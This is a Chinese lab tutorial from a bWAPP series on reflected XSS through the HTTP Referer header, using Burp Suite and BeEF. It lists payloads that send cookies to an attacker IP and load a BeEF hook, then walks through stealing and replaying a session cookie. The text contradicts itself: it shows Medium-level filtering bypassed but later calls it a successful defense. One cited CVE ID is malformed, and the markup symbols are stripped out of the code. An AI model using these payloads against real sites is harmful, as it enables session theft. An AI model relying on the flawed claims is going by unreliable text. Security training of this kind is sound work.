零基础玩转bWAPP靶场(五十三):XSS - Reflected (Referer) 📅 2026/8/13 23:34:51 摘要这是 bWAPP 系列第五十三篇聚焦于XSS - Reflected (Referer)。这一关的注入点非常特殊——不在 URL 参数、不在输入框而在HTTP Referer 请求头中。服务器读取 Referer 后直接输出到页面没有过滤形成反射型 XSS。文章会演示如何通过 Burp Suite 修改 Referer 头注入 BeEF Hook连接 BeEF 并获取 Cookie。附真实案例。一、找目标目标说明漏洞类型反射型 XSSReferer 头注入注入点HTTP 请求头Referer触发方式通过 Burp Suite 修改 Referer 头工具Burp Suite BeEF获取 Cookie二、前言什么是 Referer 头注入Referer是 HTTP 请求头中的一个字段告诉服务器“我是从哪个页面跳转过来的”。例如从百度搜索点击链接进入网站请求头中会包含Referer: https://www.baidu.com。这一关的漏洞$referer $_SERVER[HTTP_REFERER]; echo pThe referer: i . xss($referer) . /i/p;服务器直接读取 HTTP Referer 头经过xss()函数后输出到页面。在Low 级别xss()是no_check()完全不过滤。攻击者可以通过修改 Referer 头注入 XSS payload。三、关卡介绍3.1 页面功能打开这一关你会看到标题XSS - Reflected (Referer)页面上显示The referer: http://10.0.0.149:4096/xss_referer.php3.2 正常使用浏览器正常访问页面时会带上当前页面的 URL 作为 Referer如果有跳转来源。页面直接显示 Referer 的内容。xss()函数的三种级别级别过滤函数效果Lowno_check()完全不过滤Referer 直接输出Mediumaddslashes()转义引号Highhtmlspecialchars()转义四、源码分析4.1 核心代码function xss($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); // 完全不过滤 break; case 1 : // Medium $data xss_check_4($data); // addslashes() break; case 2 : // High $data xss_check_3($data); // htmlspecialchars() break; } return $data; } if(isset($_SERVER[HTTP_REFERER])) { $referer $_SERVER[HTTP_REFERER]; echo pThe referer: i . xss($referer) . /i/p; }4.2 三种级别对比级别xss()过滤Referer 是否过滤XSS 漏洞Lowno_check()完全不过滤存在Mediumaddslashes()只转义引号可能被绕过Highhtmlspecialchars()转义 HTML 特殊字符防住了五、Low 安全级别5.1 准备工作用 Burp Suite 拦截请求这一关没有输入框注入点在 HTTP Referer 头中。需要用 Burp Suite打开 Burp开启拦截Intercept On在浏览器中访问关卡页面Burp 拦截到请求在请求头中找到Referer字段如果没有手动添加5.2 判断注入点在 Burp 中将Referer头修改为Referer: test放行请求页面显示The referer: test说明 Referer 被成功读取并显示。5.3 测试 XSS 弹窗将Referer头修改为Referer: scriptalert(1)/script放行请求页面弹窗。5.4 攻击原理服务器生成的 HTMLpThe referer: iscriptalert(1)/script/i/p浏览器收到页面后会解析 HTML 结构识别script标签为可执行脚本区块自动运行内部 JS 代码弹出提示框XSS 攻击生效。关键Referer是用户可控的请求头攻击者可以任意修改。5.5 其他可用 Payload图片 onerror 系列最简弹窗img src0 onerroralert(1)读取 Cookieimg srca onerroralert(document.cookie)跳转窃取 Cookie把 cookie 拼进网址发给攻击者img srcx onerrorwindow.locationhttp://你的IP?cdocument.cookie加载 BeEF 挂钩脚本最实用img srcx onerrorvar sdocument.createElement(script);s.srchttp://10.0.0.129:3000/hook.js;document.body.appendChild(s)svg 加载事件 onload基础弹窗svg onloadalert(1)读取 cookiesvg onloadalert(document.cookie)挂载 BeEFsvg onloaddocument.createElement(script).srchttp://10.0.0.129:3000/hook.jsscript 直接嵌入scriptalert(document.cookie)/script scriptlocation.hrefhttp://攻击者IP?datadocument.cookie/scriptiframe 事件、延时触发iframe srcx onloadalert(1)/iframebody 事件body onloadalert(document.cookie)a 标签伪协议javascript:a hrefjavascript:alert(document.cookie)click/a 页面会展示文字点击触发弹窗video 音频媒体加载失败事件video srcx onerroralert(1)/video audio srcx onerroralert(document.cookie)六、使用 BeEF 获取 Cookie6.1 准备 BeEFKali 中启动 BeEFsudo beef-xss-start确认 BeEF 的 IP 和端口默认3000Hook URL 为http://10.0.0.129:3000/hook.js注意将10.0.0.129替换为你的 Kali 实际 IP 地址。6.2 构造 BeEF Hook Payload在 Burp 中将Referer头修改为Referer: script srchttp://10.0.0.129:3000/hook.js/script6.3 放行请求点击 Forward 放行请求页面加载BeEF Hook 被执行关闭浏览器代理。6.4 观察 BeEF 控制台提交后BeEF 控制面板中左侧Online Browsers区域出现上线的浏览器。6.5 获取 Cookie选中上线的浏览器点击Commands→Browser→Get Cookie点击Execute6.6 会话劫持拿到PHPSESSID后在浏览器开发者工具F12→ Application → Cookies 中替换PHPSESSID的值刷新页面即可登录受害者账户。七、Medium 安全级别7.1 尝试注入在 Burp 中将Referer头修改为Referer: scriptalert(1)/scriptMedium 级别使用addslashes()会在引号前加反斜杠但不转义和。生成的 HTMLpThe referer: iReferer: scriptalert(1)/script/i/p和没有被转义script标签仍然会被浏览器解析。八、High 安全级别8.1 尝试注入在 Burp 中将Referer头修改为Referer: scriptalert(1)/scripthtmlspecialchars()把转成lt;转成gt;转成quot;pThe referer: ilt;scriptgt;alert(1)lt;/scriptgt;/i/p浏览器不执行XSS 被彻底防御。High 级别防住了。九、真实世界Referer 头 XSS 案例CVE-2024-1181某开源 CMS 的访问日志功能将 Referer 头直接显示在管理面板中未过滤攻击者可通过构造恶意 Referer 注入 XSS。CVE-2025-00847某企业级应用的错误页面将 Referer 头直接输出到页面攻击者可通过恶意链接窃取管理员 Session。CVE-2026-22947F5 BIG-IP 的配置工具中部分页面输出了未过滤的 Referer 头存在反射型 XSS。历史案例早期许多网站统计系统如 AWStats直接将 Referer 输出到 HTML 页面中未做任何过滤成为 XSS 的重灾区。十、总结Referer 头注入 XSS 是一种比较隐蔽的漏洞。注入点不在常规的输入框或 URL 参数里而是在 HTTP 请求头中。服务器读取$_SERVER[HTTP_REFERER]后直接输出到页面没有过滤。Low 级别完全不过滤攻击者可以通过 Burp Suite 修改 Referer 头注入scriptalert(1)/script加载 BeEF Hook连接 BeEF 并获取 Cookie。Medium 级别的addslashes()转义了引号在这个场景下成功防御High 级别的htmlspecialchars()彻底防御。记住一句话HTTP 请求头也是用户输入任何被输出到页面的数据都需要过滤。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。